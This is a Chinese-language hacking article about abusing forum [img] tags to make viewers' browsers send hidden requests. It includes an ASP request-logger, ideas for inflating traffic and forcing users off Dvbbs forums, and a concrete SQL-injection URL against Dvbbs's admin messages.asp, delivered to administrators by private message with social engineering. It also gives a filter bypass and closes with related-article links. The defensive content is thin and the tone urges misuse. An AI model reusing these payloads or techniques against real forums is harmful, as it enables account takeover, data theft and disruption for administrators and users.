Html標(biāo)簽帶來的安全隱患測試
WWW服務(wù)是因特網(wǎng)上最重要的服務(wù)之一,提供給客戶各種各樣的信息資源,而把這種信息資源組織起來的一個很重要的東西就是Html超文本語言,然后經(jīng)過應(yīng)用的發(fā)展就出現(xiàn)了其他的如UBB等標(biāo)簽但是最終都是以Html代碼來實(shí)現(xiàn)的。經(jīng)過研究發(fā)現(xiàn),即使是最安全的安全代碼(已經(jīng)排除了通常所說的Xss漏洞)也無法避免另外一種惱人的攻擊方式,配合不嚴(yán)格的程序,可能被人利用產(chǎn)生更大的威脅。
我們就以現(xiàn)在廣泛存在于論壇,文章系統(tǒng),Blog系統(tǒng)等腳本程序中的[img]標(biāo)簽也就是轉(zhuǎn)化后的<img>標(biāo)簽舉例來說明這個被忽視的安全問題吧!首先我來談?wù)勛约簩@個標(biāo)簽以及瀏覽器對這個標(biāo)簽的處理過程。首先看看下面這個UBB代碼:
[IMG]http://www.cnbct.org/loveshell.jpg[/IMG],然后通過腳本程序的轉(zhuǎn)換成為了<img src=http://www.cnbct.org/loveshell.jpg>。<img>標(biāo)簽是在當(dāng)前的頁面嵌入一個圖片,現(xiàn)在的論壇程序在發(fā)帖子以及個人頭像那里都有這個功能,當(dāng)瀏覽器遇到這個Html標(biāo)記的時候就會根據(jù)src的地址,這里是http://www.cnbct.org/loveshell.jpg去尋找網(wǎng)絡(luò)資源,當(dāng)找到這個圖片的時候就會訪問并且下載這個資源然后在本地進(jìn)行解析,在瀏覽器里顯示出這個圖片,如果找不到這個資源就會顯示一個紅叉表示出錯了。這里http://www.cnbct.org/loveshell.jpg是個很正常的圖片,所以一切都順利進(jìn)行,但是不知道大家想過沒有,如果這個資源是其他類型的資源譬如一個網(wǎng)頁一個eXe文件或者是一個asp頁面,當(dāng)不是圖片類型文件的時候,結(jié)果會怎么樣呢?
答案很明顯,是圖片顯示一個紅X,我們的Exe文件也沒有下載,Html頁面也沒有執(zhí)行,這是理所當(dāng)然的東西,因?yàn)镮E或者其他瀏覽器會把取得的資源當(dāng)作圖片解析,這樣就會產(chǎn)生錯誤從而顯示紅X了。到這里大家也許還覺得沒有什么用,但是如果我們把圖片的地址改成
http://127.0.0.1:88/imgtest/test.asp?user=shell這樣的形式呢?其中test.asp里有如下內(nèi)容的話
<%
dim fso,file //定義Fso對象
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.createObject("Scripting.FileSystemObject")
path = server.mappath("imgtest.txt") //打開同目錄imgtest.txt
set file=fso.opentextfile(path, ForAppending, TRUE)
file.write("有人來了: ") //寫內(nèi)容
file.write(request.Servervariables("QUERY_STRING"))
file.write vbCrLf
file.close
set file = nothing
set fso = nothing
%>
大家可以測試看看,我們的訪問被記錄了,甚至還得到了提交的參數(shù),但是這對于瀏覽器來說是未知的,因?yàn)槲覀冎豢吹搅艘粋€紅X。到這里我們也許知道我們可以用這個東西做什么了!就是可以以瀏覽者的身份悄悄去訪問一個頁面,甚至支持Get的參數(shù)請求,這很重要,理解了這個就可以在后面發(fā)揮我們的想象力來利用這個來做什么!
1 刷流量 我們可以在一個流量大的論壇把自己的圖象設(shè)置成要刷的頁面,然后每一個瀏覽者都會去訪問下我們的頁面,不管他是否看
到了,但是他訪問了,不是么?
2 破壞 這個讓人很惱火,對于動網(wǎng)論壇如果把你的圖象設(shè)置成logout.asp的話,呵呵,所有看了你的帖子的人都會被T了,很爽吧!
呵呵,至于幻影論壇,大家可以試試,但是這是很不道德的!
3 黑客 這個是我們最感興趣的,可以跨越權(quán)限做一些事情,因?yàn)楝F(xiàn)在很多的程序?qū)τ谇芭_都是防守較好,但是后臺就不是那么嚴(yán)密
了。如果程序中取得數(shù)據(jù)的時候是用request("id")這樣的方法取得的話,那么我們就可以利用標(biāo)簽向Cgi腳本提交數(shù)據(jù)了,注意必須不能是request.form("username2")這種嚴(yán)格指定了取得的變量來源的方式,因?yàn)槲覀兊淖兞恐荒芡ㄟ^URL提交也就是上面說的QUERY_STRING方式。這對于寫法不嚴(yán)密的程序是很致命的,要例子的話動網(wǎng)就是一個,動網(wǎng)Sql版本后臺的messages.asp里取得數(shù)據(jù)的方式就是request,代碼如下:
......
Sub Del()
Dim Dnum
If Request("username") = "" Then
Body = Body + "<br>" + "請輸入要批量刪除的用戶名。"
Exit Sub
End If
Sql = "select COUNT(*) FROM Dv_Message where Sender = ’" & Request("username") & "’"
Set Rs = Dvbbs.Execute(Sql)
......
這本來是后臺的必須要有后臺管理權(quán)限才能訪問的,但是我們構(gòu)造這樣一個Url:
http://bbs.dvbbs.net/admin/messages.asp?action=del&user=’;update/**/Dv_User/**/set/**/UserEmail=(select/**/top/**/1/**/
[Username]/**/from/**/Dv_admin)/**/where[UserName]=’loveshell’;--
或者類似的語句了,然后放到[Img]標(biāo)簽里。大家也許覺得管理員看自己帖子的可能性也不大,但是要知道論壇短信也是支持和發(fā)帖子一樣的[img]標(biāo)簽的,所以如果能給管理員發(fā)個短信,在里面構(gòu)造我們的Img標(biāo)簽只要他一打開短信就會種招的哦!如果可以和社會工程學(xué)聯(lián)一塊,呵呵!有點(diǎn)遺憾的是仿佛動網(wǎng)對&等符號做了轉(zhuǎn)換,大家可以嘗試突破,更何況網(wǎng)絡(luò)上寫法不嚴(yán)密的程序何止千萬。
4 想象力 大家賺錢都這么辛苦,如果把IMG標(biāo)簽里的地址改成附件下載地址的話,呵呵,說說而已,沒有測試。
5 ......
再說說對這個問題如何防御,如果想保留這個[IMG]標(biāo)簽但是又不想出問題的話,是需要轉(zhuǎn)換的,譬如限定后綴必須是jpg,呵呵這可以通過URL編碼加#JPG饒過,反正我覺得如果有限制的話一般都是能饒過的,即使你限制了IMG,那好,還有Flash標(biāo)簽?zāi)?,還有Rm標(biāo)簽?zāi)兀?.....
防御和利用都是艱難的。
相關(guān)文章
SQL注入詳細(xì)講解(萬字長文,全網(wǎng)最全!)
SQL注入是比較常見的網(wǎng)絡(luò)攻擊方式之一,它不是利用操作系統(tǒng)的BUG來實(shí)現(xiàn)攻擊,而是針對程序員編寫時的疏忽,下面這篇文章主要給大家介紹了關(guān)于SQL注入詳細(xì)講解的相關(guān)資料,需要的朋友可以參考下2023-03-03修改TTL值的具體實(shí)現(xiàn)方法,防內(nèi)網(wǎng)“窺視”
修改TTL值的具體實(shí)現(xiàn)方法,防內(nèi)網(wǎng)“窺視”...2007-02-02DDoS攻擊與CC攻擊網(wǎng)絡(luò)安全的兩大挑戰(zhàn)如何應(yīng)對防御
這篇文章主要為大家介紹了面對DDoS攻擊與CC攻擊網(wǎng)絡(luò)安全的兩大挑戰(zhàn)應(yīng)該如何應(yīng)對,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2023-10-10網(wǎng)絡(luò)安全滲透測試反序列化漏洞分析與復(fù)現(xiàn)工作
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測試反序列化漏洞分析與復(fù)現(xiàn)的工作流程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2022-02-02Web網(wǎng)絡(luò)安全分析二次注入攻擊原理詳解
這篇文章主要為大家講解介紹了Web網(wǎng)絡(luò)安全分析二次注入攻擊原理的詳解,有需要相關(guān)學(xué)習(xí)的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2021-11-11